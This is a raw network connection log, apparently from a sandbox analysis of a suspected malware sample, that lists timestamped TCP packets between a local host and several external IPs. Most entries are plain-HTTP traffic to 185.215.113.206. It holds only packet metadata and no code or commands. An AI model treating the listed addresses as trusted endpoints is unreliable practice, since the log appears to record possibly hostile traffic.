Nov 23, 2024 09:16:57.349529982 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.349559069 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.350580931 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.350653887 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.350665092 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.350699902 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.351625919 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.351771116 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.375349045 CET	443	49872	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:57.393558025 CET	49894	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.393568039 CET	443	49894	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.406626940 CET	443	49891	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.407121897 CET	49891	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.407156944 CET	443	49891	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.408998013 CET	443	49893	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.409430027 CET	443	49892	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.411174059 CET	443	49891	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.411243916 CET	49891	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.411900997 CET	49893	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.411916971 CET	443	49893	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.412182093 CET	49892	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.412188053 CET	443	49892	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.412405968 CET	443	49893	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.414402008 CET	443	49892	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.414501905 CET	49892	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.415359020 CET	49891	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.415465117 CET	443	49891	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.415770054 CET	49893	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.415851116 CET	443	49893	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.417232990 CET	49892	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.417316914 CET	443	49892	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.419939041 CET	49893	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.419945002 CET	49891	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.419953108 CET	49892	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.419959068 CET	443	49892	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.419969082 CET	443	49891	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.437823057 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.437886953 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.438107967 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.438158989 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.438719988 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.438738108 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.438801050 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.438868999 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.438882113 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.438925028 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.438936949 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.439021111 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.439352989 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.439421892 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.439575911 CET	49894	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.440294981 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.440308094 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.440354109 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.440368891 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.441272020 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.441322088 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.441467047 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.441524029 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.442501068 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.442676067 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.442679882 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.442826986 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.462203026 CET	443	49890	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.462440968 CET	49890	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.462471008 CET	443	49890	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.463634014 CET	443	49890	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.463702917 CET	49890	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.464010954 CET	49890	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.464068890 CET	443	49890	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.464164019 CET	49890	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.464171886 CET	443	49890	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.467333078 CET	443	49893	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.470172882 CET	49891	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.470377922 CET	49892	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.476476908 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.476495981 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.476551056 CET	49888	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.476562977 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.477699041 CET	49888	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.477739096 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.477814913 CET	49888	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.478154898 CET	49904	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.478204012 CET	443	49904	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.479883909 CET	49904	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.480138063 CET	49904	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.480159998 CET	443	49904	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.503484964 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.503554106 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.503626108 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.503678083 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.504017115 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.504044056 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.504072905 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.504095078 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.505076885 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.505134106 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.505172968 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.505247116 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.506223917 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.506295919 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.506298065 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.506427050 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.507257938 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.507369995 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.507450104 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.508346081 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.508414984 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.508454084 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.508506060 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.509474993 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.509525061 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.509588003 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.509650946 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.510508060 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.510566950 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.510628939 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.510674000 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.511620045 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.511759996 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.511785030 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.511836052 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.512721062 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.512748003 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.512767076 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.512880087 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.513793945 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.513870001 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.513901949 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.513974905 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.514832973 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.514883995 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.514940023 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.514991999 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.515935898 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.515986919 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.516017914 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.516077042 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.517035961 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.517088890 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.517154932 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.517196894 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.518107891 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.518163919 CET	49890	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.518220901 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.518276930 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.519170046 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.519236088 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.519260883 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.519947052 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.520253897 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.520363092 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.520412922 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.521342993 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.521442890 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.521498919 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.522427082 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.522542953 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.522555113 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.522582054 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.523509026 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.523557901 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.523617983 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.523679018 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.524600029 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.524825096 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.524846077 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.524949074 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.525680065 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.525729895 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.525778055 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.525832891 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.526937008 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.526984930 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.526985884 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.527097940 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.527856112 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.527906895 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.527951002 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.528018951 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.528933048 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.528984070 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.529093981 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.529138088 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.530040026 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.530098915 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.530137062 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.530194044 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.531096935 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.531147003 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.531213045 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.531335115 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.532188892 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.532228947 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.532418013 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.533539057 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.533591032 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.533653021 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.533699989 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.534710884 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.534753084 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.534766912 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.534818888 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.535438061 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.535546064 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.535608053 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.536555052 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.536655903 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.536657095 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.536735058 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.537677050 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.537734985 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.537739038 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.537800074 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.538718939 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.538768053 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.538798094 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.538846016 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.539784908 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.539838076 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.539892912 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.539947033 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.540869951 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.540921926 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.540955067 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.541007996 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.541961908 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.542011023 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.542035103 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.542093039 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.543031931 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.543092012 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.543128967 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.543179989 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.544110060 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.544224977 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.544225931 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.544270992 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.545213938 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.545263052 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.545300961 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.545397997 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.546295881 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.546355963 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.546390057 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.546469927 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.547370911 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.547420979 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.547481060 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.547524929 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.548444033 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.548511982 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.548563004 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.548608065 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.549566031 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.549635887 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.549670935 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.550149918 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.550642014 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.550703049 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.550736904 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.550915003 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.551769018 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.551877975 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.551985979 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.552045107 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.552793980 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.552838087 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.613732100 CET	49905	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:57.613775969 CET	443	49905	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:57.613847971 CET	49905	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:57.614101887 CET	49905	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:57.614113092 CET	443	49905	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:57.635730982 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.635826111 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.635905027 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.636275053 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.636337996 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.636370897 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.636418104 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.637335062 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.637406111 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.637458086 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.637501001 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.638447046 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.638501883 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.638542891 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.638732910 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.639501095 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.639561892 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.639619112 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.639714956 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.640594959 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.640644073 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.640701056 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.640743017 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.641700029 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.641748905 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.641779900 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.641824961 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.659715891 CET	443	49872	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:57.660829067 CET	443	49872	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:57.663981915 CET	49872	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:57.664958000 CET	49872	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:57.664982080 CET	443	49872	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:57.703610897 CET	443	49889	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:57.703704119 CET	49889	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:57.704724073 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.704873085 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.704936981 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.705318928 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.705499887 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.705549002 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.706374884 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.706433058 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.706465960 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.706511974 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.707474947 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.707557917 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.707573891 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.707628965 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.708508015 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.708550930 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.708616018 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.708777905 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.708856106 CET	49889	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:57.708875895 CET	443	49889	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:57.709126949 CET	443	49889	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:57.709602118 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.709707022 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.709736109 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.709769964 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.710711956 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.710786104 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.710851908 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.711041927 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.711770058 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.711858034 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.711914062 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.711924076 CET	49889	443	192.168.2.6	20.198.119.84
